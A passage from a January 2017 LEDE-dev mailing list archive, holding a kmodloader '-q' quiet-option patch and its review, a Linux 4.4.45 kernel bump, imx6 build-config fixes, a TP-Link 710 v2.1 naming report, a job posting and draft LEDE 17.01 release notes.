+			case 'q': /* shhhh! */
+				quiet = true;
+				break;
+			default: /* '?' */
+				return print_modprobe_usage();
+				break;
+			}
+	}
 
-	for (i = 1; i < argc; i++)
-		if (argv[i][0] != '-') {
-			mod = argv[i];
-			break;
-		}
-	if (!mod)
-		return print_usage("modprobe");
+	if (optind >= argc) return print_modprobe_usage(); /* expected module after options */
+
+	mod = argv[optind];
 
 	if (scan_module_folders())
 		return -1;
@@ -843,10 +858,10 @@ static int main_modprobe(int argc, char **argv)
 	name = get_module_name(mod);
 	m = find_module(name);
 	if (m && m->state == LOADED) {
-		ULOG_ERR("%s is already loaded\n", name);
+		if (!quiet) ULOG_ERR("%s is already loaded\n", name);
 		return -1;
 	} else if (!m) {
-		ULOG_ERR("failed to find a module named %s\n", name);
+		if (!quiet) ULOG_ERR("failed to find a module named %s\n", name);
 	} else {
 		int fail;
 
-- 
2.7.4



From john at phrozen.org  Fri Jan 27 02:36:36 2017
From: john at phrozen.org (John Crispin)
Date: Fri, 27 Jan 2017 11:36:36 +0100
Subject: [LEDE-DEV] [PATCH ubox] kmodloader: support '-q' quiet option
In-Reply-To: <1485513219-24856-1-git-send-email-kevin@darbyshire-bryant.me.uk>
References: <1485513219-24856-1-git-send-email-kevin@darbyshire-bryant.me.uk>
Message-ID: <11549eb7-f72c-b46f-160a-dfcbb8b90cfd@phrozen.org>



On 27/01/2017 11:33, Kevin Darbyshire-Bryant wrote:
> The kernel opportunistically attempts to load modules in advanced with
> 'predicted' module names.  Often these modules don't exist and hence
> kmodloader produces lots of logfile noise.  The kernel commandline to
> modprobe from kworker proceses is '-q -- modulename' where '-q' means
> quiet.
> 
> Signed-off-by: Kevin Darbyshire-Bryant <kevin at darbyshire-bryant.me.uk>
> ---
>  kmodloader.c | 35 +++++++++++++++++++++++++----------
>  1 file changed, 25 insertions(+), 10 deletions(-)
> 
> diff --git a/kmodloader.c b/kmodloader.c
> index 729027a..52a745f 100644
> --- a/kmodloader.c
> +++ b/kmodloader.c
> @@ -660,6 +660,13 @@ static int print_insmod_usage(void)
>  	return -1;
>  }
>  
> +static int print_modprobe_usage(void)
> +{
> +	ULOG_INFO("Usage:\n\tmodprobe [-q] filename\n");
> +
> +	return -1;
> +}
> +
>  static int print_usage(char *arg)
>  {
>  	ULOG_INFO("Usage:\n\t%s module\n", arg);
> @@ -824,15 +831,23 @@ static int main_modprobe(int argc, char **argv)
>  	struct module *m;
>  	char *name;
>  	char *mod = NULL;
> -	int i;
> +	int opt;
> +	bool quiet = false;
> +
> +	while ((opt = getopt(argc, argv, "q")) != -1 ) {
> +		switch (opt) {
> +			case 'q': /* shhhh! */
> +				quiet = true;
> +				break;
> +			default: /* '?' */
> +				return print_modprobe_usage();
> +				break;
> +			}
> +	}
>  
> -	for (i = 1; i < argc; i++)
> -		if (argv[i][0] != '-') {
> -			mod = argv[i];
> -			break;
> -		}
> -	if (!mod)
> -		return print_usage("modprobe");
> +	if (optind >= argc) return print_modprobe_usage(); /* expected module after options */
> +
> +	mod = argv[optind];
>  
>  	if (scan_module_folders())
>  		return -1;
> @@ -843,10 +858,10 @@ static int main_modprobe(int argc, char **argv)
>  	name = get_module_name(mod);
>  	m = find_module(name);
>  	if (m && m->state == LOADED) {
> -		ULOG_ERR("%s is already loaded\n", name);
> +		if (!quiet) ULOG_ERR("%s is already loaded\n", name);
>  		return -1;

i can see why we would want to silence this one

>  	} else if (!m) {
> -		ULOG_ERR("failed to find a module named %s\n", name);
> +		if (!quiet) ULOG_ERR("failed to find a module named %s\n", name);

but do we really want to silence this error ?

>  	} else {
>  		int fail;
>  
> 


From kevin at darbyshire-bryant.me.uk  Fri Jan 27 02:38:12 2017
From: kevin at darbyshire-bryant.me.uk (Kevin Darbyshire-Bryant)
Date: Fri, 27 Jan 2017 10:38:12 +0000
Subject: [LEDE-DEV] [PATCH ubox] kmodloader: support '-q' quiet option
In-Reply-To: <11549eb7-f72c-b46f-160a-dfcbb8b90cfd@phrozen.org>
References: <1485513219-24856-1-git-send-email-kevin@darbyshire-bryant.me.uk>
 <11549eb7-f72c-b46f-160a-dfcbb8b90cfd@phrozen.org>
Message-ID: <2822c5bc-74df-2c0e-d13b-05851ebc2276@darbyshire-bryant.me.uk>



On 27/01/17 10:36, John Crispin wrote:
>
>
> On 27/01/2017 11:33, Kevin Darbyshire-Bryant wrote:
>> The kernel opportunistically attempts to load modules in advanced with
>> 'predicted' module names.  Often these modules don't exist and hence
>> kmodloader produces lots of logfile noise.  The kernel commandline to
>> modprobe from kworker proceses is '-q -- modulename' where '-q' means
>> quiet.
>>
>> Signed-off-by: Kevin Darbyshire-Bryant <kevin at darbyshire-bryant.me.uk>
>> ---
>>  kmodloader.c | 35 +++++++++++++++++++++++++----------
>>  1 file changed, 25 insertions(+), 10 deletions(-)
>>
>> diff --git a/kmodloader.c b/kmodloader.c
>> index 729027a..52a745f 100644
>> --- a/kmodloader.c
>> +++ b/kmodloader.c
>> @@ -660,6 +660,13 @@ static int print_insmod_usage(void)
>>  	return -1;
>>  }
>>
>> +static int print_modprobe_usage(void)
>> +{
>> +	ULOG_INFO("Usage:\n\tmodprobe [-q] filename\n");
>> +
>> +	return -1;
>> +}
>> +
>>  static int print_usage(char *arg)
>>  {
>>  	ULOG_INFO("Usage:\n\t%s module\n", arg);
>> @@ -824,15 +831,23 @@ static int main_modprobe(int argc, char **argv)
>>  	struct module *m;
>>  	char *name;
>>  	char *mod = NULL;
>> -	int i;
>> +	int opt;
>> +	bool quiet = false;
>> +
>> +	while ((opt = getopt(argc, argv, "q")) != -1 ) {
>> +		switch (opt) {
>> +			case 'q': /* shhhh! */
>> +				quiet = true;
>> +				break;
>> +			default: /* '?' */
>> +				return print_modprobe_usage();
>> +				break;
>> +			}
>> +	}
>>
>> -	for (i = 1; i < argc; i++)
>> -		if (argv[i][0] != '-') {
>> -			mod = argv[i];
>> -			break;
>> -		}
>> -	if (!mod)
>> -		return print_usage("modprobe");
>> +	if (optind >= argc) return print_modprobe_usage(); /* expected module after options */
>> +
>> +	mod = argv[optind];
>>
>>  	if (scan_module_folders())
>>  		return -1;
>> @@ -843,10 +858,10 @@ static int main_modprobe(int argc, char **argv)
>>  	name = get_module_name(mod);
>>  	m = find_module(name);
>>  	if (m && m->state == LOADED) {
>> -		ULOG_ERR("%s is already loaded\n", name);
>> +		if (!quiet) ULOG_ERR("%s is already loaded\n", name);
>>  		return -1;
>
> i can see why we would want to silence this one
>
>>  	} else if (!m) {
>> -		ULOG_ERR("failed to find a module named %s\n", name);
>> +		if (!quiet) ULOG_ERR("failed to find a module named %s\n", name);
>
> but do we really want to silence this error ?

 From the manpage

        -q, --quiet
            With this flag, modprobe won't print an error message if you 
try to remove or insert a module it can't find (and
            isn't an alias or install/remove command). However, it will 
still return with a non-zero exit status. The kernel uses
            this to opportunistically probe for modules which might 
exist using request_module.


>
>>  	} else {
>>  		int fail;
>>
>>


From kevin at darbyshire-bryant.me.uk  Fri Jan 27 02:48:31 2017
From: kevin at darbyshire-bryant.me.uk (Kevin Darbyshire-Bryant)
Date: Fri, 27 Jan 2017 10:48:31 +0000
Subject: [LEDE-DEV] [PATCH ubox V2] kmodloader: support '-q' quiet option
Message-ID: <1485514111-25604-1-git-send-email-kevin@darbyshire-bryant.me.uk>

The kernel opportunistically attempts to load modules in advanced with
'predicted' module names.  Often these modules don't exist and hence
kmodloader produces lots of logfile noise.  The kernel commandline to
modprobe from kworker proceses is '-q -- modulename' where '-q' means
quiet.

Signed-off-by: Kevin Darbyshire-Bryant <kevin at darbyshire-bryant.me.uk>
---
V2 - styling fixes

 kmodloader.c | 38 ++++++++++++++++++++++++++++----------
 1 file changed, 28 insertions(+), 10 deletions(-)

diff --git a/kmodloader.c b/kmodloader.c
index 729027a..4704152 100644
--- a/kmodloader.c
+++ b/kmodloader.c
@@ -660,6 +660,13 @@ static int print_insmod_usage(void)
 	return -1;
 }
 
+static int print_modprobe_usage(void)
+{
+	ULOG_INFO("Usage:\n\tmodprobe [-q] filename\n");
+
+	return -1;
+}
+
 static int print_usage(char *arg)
 {
 	ULOG_INFO("Usage:\n\t%s module\n", arg);
@@ -824,15 +831,24 @@ static int main_modprobe(int argc, char **argv)
 	struct module *m;
 	char *name;
 	char *mod = NULL;
-	int i;
+	int opt;
+	bool quiet = false;
+
+	while ((opt = getopt(argc, argv, "q")) != -1 ) {
+		switch (opt) {
+			case 'q': /* shhhh! */
+				quiet = true;
+				break;
+			default: /* '?' */
+				return print_modprobe_usage();
+				break;
+			}
+	}
 
-	for (i = 1; i < argc; i++)
-		if (argv[i][0] != '-') {
-			mod = argv[i];
-			break;
-		}
-	if (!mod)
-		return print_usage("modprobe");
+	if (optind >= argc)
+		return print_modprobe_usage(); /* expected module after options */
+
+	mod = argv[optind];
 
 	if (scan_module_folders())
 		return -1;
@@ -843,10 +859,12 @@ static int main_modprobe(int argc, char **argv)
 	name = get_module_name(mod);
 	m = find_module(name);
 	if (m && m->state == LOADED) {
-		ULOG_ERR("%s is already loaded\n", name);
+		if (!quiet)
+			ULOG_ERR("%s is already loaded\n", name);
 		return -1;
 	} else if (!m) {
-		ULOG_ERR("failed to find a module named %s\n", name);
+		if (!quiet)
+			ULOG_ERR("failed to find a module named %s\n", name);
 	} else {
 		int fail;
 
-- 
2.7.4



From john at phrozen.org  Fri Jan 27 03:04:26 2017
From: john at phrozen.org (John Crispin)
Date: Fri, 27 Jan 2017 12:04:26 +0100
Subject: [LEDE-DEV] [PATCH ubox] kmodloader: support '-q' quiet option
In-Reply-To: <2822c5bc-74df-2c0e-d13b-05851ebc2276@darbyshire-bryant.me.uk>
References: <1485513219-24856-1-git-send-email-kevin@darbyshire-bryant.me.uk>
 <11549eb7-f72c-b46f-160a-dfcbb8b90cfd@phrozen.org>
 <2822c5bc-74df-2c0e-d13b-05851ebc2276@darbyshire-bryant.me.uk>
Message-ID: <81f721cd-dd05-69ee-3892-ea79c7094c3f@phrozen.org>



On 27/01/2017 11:38, Kevin Darbyshire-Bryant wrote:
> 
> 
> On 27/01/17 10:36, John Crispin wrote:
>>
>>
>> On 27/01/2017 11:33, Kevin Darbyshire-Bryant wrote:
>>> The kernel opportunistically attempts to load modules in advanced with
>>> 'predicted' module names.  Often these modules don't exist and hence
>>> kmodloader produces lots of logfile noise.  The kernel commandline to
>>> modprobe from kworker proceses is '-q -- modulename' where '-q' means
>>> quiet.
>>>
>>> Signed-off-by: Kevin Darbyshire-Bryant <kevin at darbyshire-bryant.me.uk>
>>> ---
>>>  kmodloader.c | 35 +++++++++++++++++++++++++----------
>>>  1 file changed, 25 insertions(+), 10 deletions(-)
>>>
>>> diff --git a/kmodloader.c b/kmodloader.c
>>> index 729027a..52a745f 100644
>>> --- a/kmodloader.c
>>> +++ b/kmodloader.c
>>> @@ -660,6 +660,13 @@ static int print_insmod_usage(void)
>>>      return -1;
>>>  }
>>>
>>> +static int print_modprobe_usage(void)
>>> +{
>>> +    ULOG_INFO("Usage:\n\tmodprobe [-q] filename\n");
>>> +
>>> +    return -1;
>>> +}
>>> +
>>>  static int print_usage(char *arg)
>>>  {
>>>      ULOG_INFO("Usage:\n\t%s module\n", arg);
>>> @@ -824,15 +831,23 @@ static int main_modprobe(int argc, char **argv)
>>>      struct module *m;
>>>      char *name;
>>>      char *mod = NULL;
>>> -    int i;
>>> +    int opt;
>>> +    bool quiet = false;
>>> +
>>> +    while ((opt = getopt(argc, argv, "q")) != -1 ) {
>>> +        switch (opt) {
>>> +            case 'q': /* shhhh! */
>>> +                quiet = true;
>>> +                break;
>>> +            default: /* '?' */
>>> +                return print_modprobe_usage();
>>> +                break;
>>> +            }
>>> +    }
>>>
>>> -    for (i = 1; i < argc; i++)
>>> -        if (argv[i][0] != '-') {
>>> -            mod = argv[i];
>>> -            break;
>>> -        }
>>> -    if (!mod)
>>> -        return print_usage("modprobe");
>>> +    if (optind >= argc) return print_modprobe_usage(); /* expected
>>> module after options */
>>> +
>>> +    mod = argv[optind];
>>>
>>>      if (scan_module_folders())
>>>          return -1;
>>> @@ -843,10 +858,10 @@ static int main_modprobe(int argc, char **argv)
>>>      name = get_module_name(mod);
>>>      m = find_module(name);
>>>      if (m && m->state == LOADED) {
>>> -        ULOG_ERR("%s is already loaded\n", name);
>>> +        if (!quiet) ULOG_ERR("%s is already loaded\n", name);
>>>          return -1;
>>
>> i can see why we would want to silence this one
>>
>>>      } else if (!m) {
>>> -        ULOG_ERR("failed to find a module named %s\n", name);
>>> +        if (!quiet) ULOG_ERR("failed to find a module named %s\n",
>>> name);
>>
>> but do we really want to silence this error ?
> 
> From the manpage
> 
>        -q, --quiet
>            With this flag, modprobe won't print an error message if you
> try to remove or insert a module it can't find (and
>            isn't an alias or install/remove command). However, it will
> still return with a non-zero exit status. The kernel uses
>            this to opportunistically probe for modules which might exist
> using request_module.
> 

i guess the man page is correct ;)

> 
>>
>>>      } else {
>>>          int fail;
>>>
>>>


From koen.vandeputte at ncentric.com  Fri Jan 27 03:54:10 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Fri, 27 Jan 2017 12:54:10 +0100
Subject: [LEDE-DEV] [PATCH v2] mac80211: backport
 calculate-min-channel-width fix
In-Reply-To: <d90f33ff-1838-f3bb-6580-2a43909103a0@nbd.name>
References: <1484912433-2253-1-git-send-email-koen.vandeputte@ncentric.com>
 <d90f33ff-1838-f3bb-6580-2a43909103a0@nbd.name>
Message-ID: <b7aedf15-95b5-562b-3471-07863a0f579e@ncentric.com>


On 2017-01-25 09:29, Felix Fietkau wrote:
> On 2017-01-20 12:40, Koen Vandeputte wrote:
>> compiled & tested on cns3xxx
>>
>> Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
> This commit introduces a regression and needs the fixup "mac80211: don't
> try to sleep in rate_control_rate_init()" as well.
Please drop it as it will be superseded soon by commit --> "mac80211: 
update to wireless-testing 2017-01-25"

> - Felix



From koen.vandeputte at ncentric.com  Fri Jan 27 06:18:00 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Fri, 27 Jan 2017 15:18:00 +0100
Subject: [LEDE-DEV] [PATCH] kernel: bump to 4.4.45
Message-ID: <1485526680-28423-1-git-send-email-koen.vandeputte@ncentric.com>

Refreshed patches for all supported targets.

Compiled & tested on cns3xxx & imx6

Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
---
 include/kernel-version.mk                                             | 4 ++--
 .../ar71xx/patches-4.4/920-usb-chipidea-AR933x-platform-support.patch | 4 ++--
 ...nd-PCIE_BUS_PEER2PEER-to-set-MRSS-128-to-fix-CNS3xxx-BM-DMA..patch | 2 +-
 target/linux/cns3xxx/patches-4.4/200-broadcom_phy_reinit.patch        | 4 ++--
 4 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/include/kernel-version.mk b/include/kernel-version.mk
index 199c2ad..b145252 100644
--- a/include/kernel-version.mk
+++ b/include/kernel-version.mk
@@ -3,10 +3,10 @@
 LINUX_RELEASE?=1
 
 LINUX_VERSION-3.18 = .43
-LINUX_VERSION-4.4 = .44
+LINUX_VERSION-4.4 = .45
 
 LINUX_KERNEL_HASH-3.18.43 = 1236e8123a6ce537d5029232560966feed054ae31776fe8481dd7d18cdd5492c
-LINUX_KERNEL_HASH-4.4.44 = fabdcf2703f22a5b8aa3a3407909f18fdeea610c3d0f418fdc29123ed04de748
+LINUX_KERNEL_HASH-4.4.45 = 22fb59247746a3dd109df6d1485a9972382507a3c0040ac33371b3fd2a021741
 
 ifdef KERNEL_PATCHVER
   LINUX_VERSION:=$(KERNEL_PATCHVER)$(strip $(LINUX_VERSION-$(KERNEL_PATCHVER)))
diff --git a/target/linux/ar71xx/patches-4.4/920-usb-chipidea-AR933x-platform-support.patch b/target/linux/ar71xx/patches-4.4/920-usb-chipidea-AR933x-platform-support.patch
index 71649ca..8972c40 100644
--- a/target/linux/ar71xx/patches-4.4/920-usb-chipidea-AR933x-platform-support.patch
+++ b/target/linux/ar71xx/patches-4.4/920-usb-chipidea-AR933x-platform-support.patch
@@ -1,6 +1,6 @@
 --- a/arch/mips/include/asm/mach-ath79/ar71xx_regs.h
 +++ b/arch/mips/include/asm/mach-ath79/ar71xx_regs.h
-@@ -644,6 +644,7 @@
+@@ -649,6 +649,7 @@
  
  #define AR933X_BOOTSTRAP_MDIO_GPIO_EN	BIT(18)
  #define AR933X_BOOTSTRAP_EEPBUSY	BIT(4)
@@ -8,7 +8,7 @@
  #define AR933X_BOOTSTRAP_REF_CLK_40	BIT(0)
  
  #define AR934X_BOOTSTRAP_SW_OPTION8	BIT(23)
-@@ -673,6 +674,8 @@
+@@ -678,6 +679,8 @@
  
  #define QCA956X_BOOTSTRAP_REF_CLK_40	BIT(2)
  
diff --git a/target/linux/cns3xxx/patches-4.4/130-Extend-PCIE_BUS_PEER2PEER-to-set-MRSS-128-to-fix-CNS3xxx-BM-DMA..patch b/target/linux/cns3xxx/patches-4.4/130-Extend-PCIE_BUS_PEER2PEER-to-set-MRSS-128-to-fix-CNS3xxx-BM-DMA..patch
index c58830a..db2c29f 100644
--- a/target/linux/cns3xxx/patches-4.4/130-Extend-PCIE_BUS_PEER2PEER-to-set-MRSS-128-to-fix-CNS3xxx-BM-DMA..patch
+++ b/target/linux/cns3xxx/patches-4.4/130-Extend-PCIE_BUS_PEER2PEER-to-set-MRSS-128-to-fix-CNS3xxx-BM-DMA..patch
@@ -1,6 +1,6 @@
 --- a/drivers/pci/probe.c
 +++ b/drivers/pci/probe.c
-@@ -1964,7 +1964,8 @@ static void pcie_write_mrrs(struct pci_d
+@@ -1966,7 +1966,8 @@ static void pcie_write_mrrs(struct pci_d
  	/* In the "safe" case, do not configure the MRRS.  There appear to be
  	 * issues with setting MRRS to 0 on a number of devices.
  	 */
diff --git a/target/linux/cns3xxx/patches-4.4/200-broadcom_phy_reinit.patch b/target/linux/cns3xxx/patches-4.4/200-broadcom_phy_reinit.patch
index 1c72150..0d8ff59 100644
--- a/target/linux/cns3xxx/patches-4.4/200-broadcom_phy_reinit.patch
+++ b/target/linux/cns3xxx/patches-4.4/200-broadcom_phy_reinit.patch
@@ -1,6 +1,6 @@
 --- a/drivers/net/phy/broadcom.c
 +++ b/drivers/net/phy/broadcom.c
-@@ -332,6 +332,11 @@ static int bcm5481_config_aneg(struct ph
+@@ -362,6 +362,11 @@ static int bcm5481_config_aneg(struct ph
  		/* Write bits 14:0. */
  		reg |= (1 << 15);
  		phy_write(phydev, 0x18, reg);
@@ -11,4 +11,4 @@
 +		phy_write(phydev, 0x1c, 0xa41f);
  	}
  
- 	return ret;
+ 	if (of_property_read_bool(np, "enet-phy-lane-swap")) {
-- 
2.7.4



From koen.vandeputte at ncentric.com  Fri Jan 27 06:33:17 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Fri, 27 Jan 2017 15:33:17 +0100
Subject: [LEDE-DEV] [PATCH 1/2] imx6: refresh kernel config
Message-ID: <1485527598-29456-1-git-send-email-koen.vandeputte@ncentric.com>

This key got moved to generic in commit:
7480d3309cbe40378da48c3b6decc4ba2b1fc3d5

Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
---
 target/linux/imx6/config-4.4 | 1 -
 1 file changed, 1 deletion(-)

diff --git a/target/linux/imx6/config-4.4 b/target/linux/imx6/config-4.4
index a4ced2e..b59a0cc 100644
--- a/target/linux/imx6/config-4.4
+++ b/target/linux/imx6/config-4.4
@@ -106,7 +106,6 @@ CONFIG_CRYPTO_DEV_FSL_CAAM_JR=y
 CONFIG_CRYPTO_DEV_FSL_CAAM_LE=y
 CONFIG_CRYPTO_DEV_FSL_CAAM_RINGSIZE=9
 CONFIG_CRYPTO_DEV_FSL_CAAM_RNG_API=y
-# CONFIG_CRYPTO_DEV_MXS_DCP is not set
 # CONFIG_CRYPTO_GHASH_ARM_CE is not set
 CONFIG_CRYPTO_HASH=y
 CONFIG_CRYPTO_HASH2=y
-- 
2.7.4



From koen.vandeputte at ncentric.com  Fri Jan 27 06:33:18 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Fri, 27 Jan 2017 15:33:18 +0100
Subject: [LEDE-DEV] [PATCH 2/2] imx6: fix build error
In-Reply-To: <1485527598-29456-1-git-send-email-koen.vandeputte@ncentric.com>
References: <1485527598-29456-1-git-send-email-koen.vandeputte@ncentric.com>
Message-ID: <1485527598-29456-2-git-send-email-koen.vandeputte@ncentric.com>

Fixes a build error due to a platform specific missing symbol
introduced in commit: 9ed108e98baae4ed7fbb6c8dd0ed4bd68dd4dc31

Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
---
 target/linux/imx6/config-4.4 | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/target/linux/imx6/config-4.4 b/target/linux/imx6/config-4.4
index b59a0cc..caa3dbd 100644
--- a/target/linux/imx6/config-4.4
+++ b/target/linux/imx6/config-4.4
@@ -300,6 +300,8 @@ CONFIG_NO_BOOTMEM=y
 CONFIG_NO_HZ_COMMON=y
 CONFIG_NO_HZ_IDLE=y
 CONFIG_NR_CPUS=4
+CONFIG_NVMEM=y
+# CONFIG_NVMEM_IMX_OCOTP is not set
 CONFIG_OF=y
 CONFIG_OF_ADDRESS=y
 CONFIG_OF_ADDRESS_PCI=y
-- 
2.7.4



From Guenther.Kelleter at devolo.de  Fri Jan 27 07:09:07 2017
From: Guenther.Kelleter at devolo.de (Guenther Kelleter)
Date: Fri, 27 Jan 2017 15:09:07 +0000
Subject: [LEDE-DEV] OpenWrt/LEDE job offer (devolo AG)
Message-ID: <EF6DF72779EE294A8A2425E8DA3BC0CC9F6D337E@Ceres.devolo.intern>

Hi OpenWrt/LEDE developers

To intensify OpenWrt/LEDE development devolo AG is looking for
. Software Engineer - Embedded Linux
. Head of Engineering.

Place of work would be Aachen, Germany.

Unfortunately the job offers are available in German only:
http://www.devolo.de/karriere/os2018-software-entwickler-embedded-linux/
http://www.devolo.de/karriere/bs-2026abteilungsleiter-entwicklung-mw/


G?nther

--
G?nther Kelleter . devolo AG . Software Engineer/Business Solutions
E-Mail: mailto:Guenther.Kelleter at devolo.de
Charlottenburger Allee 60 . 52068 Aachen . Germany
HRB 8931 Amtsgericht Aachen


From nbd at nbd.name  Fri Jan 27 07:11:04 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Fri, 27 Jan 2017 16:11:04 +0100
Subject: [LEDE-DEV] [PATCH 2/2] imx6: fix build error
In-Reply-To: <1485527598-29456-2-git-send-email-koen.vandeputte@ncentric.com>
References: <1485527598-29456-1-git-send-email-koen.vandeputte@ncentric.com>
 <1485527598-29456-2-git-send-email-koen.vandeputte@ncentric.com>
Message-ID: <0180a224-2234-c5c1-6faa-db5da887a279@nbd.name>

On 2017-01-27 15:33, Koen Vandeputte wrote:
> Fixes a build error due to a platform specific missing symbol
> introduced in commit: 9ed108e98baae4ed7fbb6c8dd0ed4bd68dd4dc31
> 
> Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
> ---
>  target/linux/imx6/config-4.4 | 2 ++
>  1 file changed, 2 insertions(+)
> 
> diff --git a/target/linux/imx6/config-4.4 b/target/linux/imx6/config-4.4
> index b59a0cc..caa3dbd 100644
> --- a/target/linux/imx6/config-4.4
> +++ b/target/linux/imx6/config-4.4
> @@ -300,6 +300,8 @@ CONFIG_NO_BOOTMEM=y
>  CONFIG_NO_HZ_COMMON=y
>  CONFIG_NO_HZ_IDLE=y
>  CONFIG_NR_CPUS=4
> +CONFIG_NVMEM=y
> +# CONFIG_NVMEM_IMX_OCOTP is not set
I don't think you should enable CONFIG_NVMEM in the kernel just to deal
with a symbol error. Please put the missing symbol into
generic/config-4.4 instead.

- Felix



From koen.vandeputte at ncentric.com  Fri Jan 27 07:45:14 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Fri, 27 Jan 2017 16:45:14 +0100
Subject: [LEDE-DEV] [PATCH v2] imx6: fix build error
Message-ID: <1485531914-18263-1-git-send-email-koen.vandeputte@ncentric.com>

This symbol is required when symbol SOC_IMX6 is also specified

Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
---
 target/linux/generic/config-4.4 | 1 +
 1 file changed, 1 insertion(+)

diff --git a/target/linux/generic/config-4.4 b/target/linux/generic/config-4.4
index cce7f27..ebc54bc 100644
--- a/target/linux/generic/config-4.4
+++ b/target/linux/generic/config-4.4
@@ -2791,6 +2791,7 @@ CONFIG_NLS_DEFAULT="iso8859-1"
 # CONFIG_NTP_PPS is not set
 # CONFIG_NVM is not set
 # CONFIG_NVMEM is not set
+# CONFIG_NVMEM_IMX_OCOTP is not set
 # CONFIG_NVRAM is not set
 # CONFIG_NV_TCO is not set
 # CONFIG_NXP_STB220 is not set
-- 
2.7.4



From ufo at rund.freifunk.net  Fri Jan 27 08:13:54 2017
From: ufo at rund.freifunk.net (Ufo)
Date: Fri, 27 Jan 2017 17:13:54 +0100
Subject: [LEDE-DEV] Support for tplink 710 v2.1
In-Reply-To: <587659F6.6010404@rund.freifunk.net>
References: <587659F6.6010404@rund.freifunk.net>
Message-ID: <588B71C2.2010704@rund.freifunk.net>

i found at a webforum, that till now older tplinks sub-versionnumbers 
were compatible ( v8.0, v8.1 or v8.3: the V8 firmware was working.)

cite "i cant think what came over tplink" 
https://forum.freifunk.net/t/tl-wr710n-v2-firmware/8751/75


On 11.01.2017 17:14, Ufo wrote:
> when using tplink 710v2.1 there is some strange behaviuor with 
> filenames and system-infos:
> That dot "." is evil, better use "-".
>
> The hardware is same as 710v1 (8MB flash) but when flashing v2.1 
> Firmware the system think its v2 (the dot and 1 might be ignored by 
> /tmp/sysinfo/*) which only has 4MB flash.
>
> my workaround for that problem since 8 months is to flash 710v1 (8mb 
> flash) firmware right after the initial v.2.1 "factory" flash, with -F 
> option :-/
> Also the Meshkit (webfrontend for imagebuilder) shows wrong 
> hardware-name for 2.1 Router.
>
> i think, best solution would be to rename the model (modify the . into 
> - ) to 710 v2-1. i cant see such versionnumbering on other devices 
> from tplink. :-/
>
> cheers ufo
>
> p.s.
> problem is also mentioned here, with screenshot: 
> https://plan.leipzig.freifunk.net/issues/260
> i was mentioning it at gluon firmware ticketsystem already, but 
> neoraider were not able to help me, because gluon isnt using normal 
> openwrt/lede stuff like /tmp/sysinfo/*, but libplatforminfo & 
> autoupdater are only gluon-specific things. 
> https://github.com/freifunk-gluon/gluon/issues/691
>
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev



From francesco.borromini at inventati.org  Fri Jan 27 15:43:44 2017
From: francesco.borromini at inventati.org (Stijn Segers)
Date: Fri, 27 Jan 2017 23:43:44 +0000
Subject: [LEDE-DEV] [PATCH] kernel: bump to 4.4.45
Message-ID: <eccb89493cd8cc8f8eb043a4da2e4251@inventati.org>

Compile-tested on master - ar71xx, ramips/mt7621, x86/64.

Tested-by: Stijn Segers <francesco.borromini at inventati.org>


From richb.hanover at gmail.com  Fri Jan 27 15:57:40 2017
From: richb.hanover at gmail.com (Rich Brown)
Date: Fri, 27 Jan 2017 18:57:40 -0500
Subject: [LEDE-DEV] LEDE-17.01 Final Release Notes available
Message-ID: <9FB86050-C9D5-4AB8-B4F3-F1879F0A89B6@gmail.com>

Since no changes have occurred to the release notes in the last 5 days, I assume they are complete and final. 

If you wish to prove me wrong, please send me a note, or update them directly at: https://lede-project.org/playground/draft-release-notes

I have pasted the current text below for your reading pleasure. Thanks, and congratulations on the great work!

Rich

-------------------

LEDE 17.xx First Stable Release - MMM 2017

     _________
    /        /\      _    ___ ___  ___
   /  LE    /  \    | |  | __|   \| __|
  /    DE  /    \   | |__| _|| |) | _|
 /________/  LE  \  |____|___|___/|___|                      lede-project.org
 \        \   DE /
  \    LE  \    /  -----------------------------------------------------------
   \  DE    \  /    Reboot (17.01-SNAPSHOT, r####-1234567)
    \________\/    -----------------------------------------------------------

THIS IS THE FINAL DRAFT. LAST CHANCE TO MAKE IT BETTER.
[Final changes include updating ?17.xx? everywhere, ?MMM 2017? everywhere, final ?Reboot? name/version/commit, actual URL for downloads.]

The LEDE Project (?Linux Embedded Development Environment?) is a Linux operating system based on OpenWrt. It is a complete replacement for the vendor-supplied firmware of a wide range of wireless routers and non-network devices. See the Table of Hardware for supported devices. For more information about LEDE Project organization, see the About LEDE pages.

Get LEDE Firmware at: http://downloads.lede-project.org/releases/

Highlights In LEDE 17.xx

The LEDE Community is proud to announce the first stable release of LEDE 17.xx. It incorporates thousands of commits over the last nine months of effort. With this release, the LEDE development team closes out an intense effort to modernize many parts of OpenWrt and incorporate many new modules, packages, and technologies. These are some of the highlights compared to OpenWrt Chaos Calmer:

	? Linux kernel updated to version 4.4.42
	? Improved Security Features
		? Memory Corruption Mitigation Methods
			? gcc -Wformat -Wformat-security
			? User space Stack-Smashing Protection (Regular)
			? Kernel space Stack-Smashing Protection (Regular)
			? buffer-overflows detection (FORTIFY_SOURCE) (Conservative)
			? RELRO protection (Full)
	? Improved Networking Support
		? Smart Queue Management (SQM) minimizes bufferbloat by using the cake and fq_codel qdisc's. More...
		? Improvements to the WiFi stack eliminating bufferbloat on ath9k (and some ath10k) chipsets
	? Improved Performance
		? Nothing specific.
	? Updated toolchain
		? musl 1.1.15
		? gcc 5.4.0
		? binutils 2.25.1
	? Platform and Driver Support
		? Lantiq
			? Added redistributable DSL firmware
			? Updated DSL phy drivers
		? Added new targets:
			? apm821xx (AppliedMicro APM821xx)
			? arc770 (Synopsys DesignWare ARC 770D)
			? archs38 (Synopsys DesignWare ARC HS38)
			? armvirt (QEMU ARM Virtual Machine)
			? ipq806x (Qualcomm Atheros IPQ806X)
			? layerscape (NXP Layerscape)
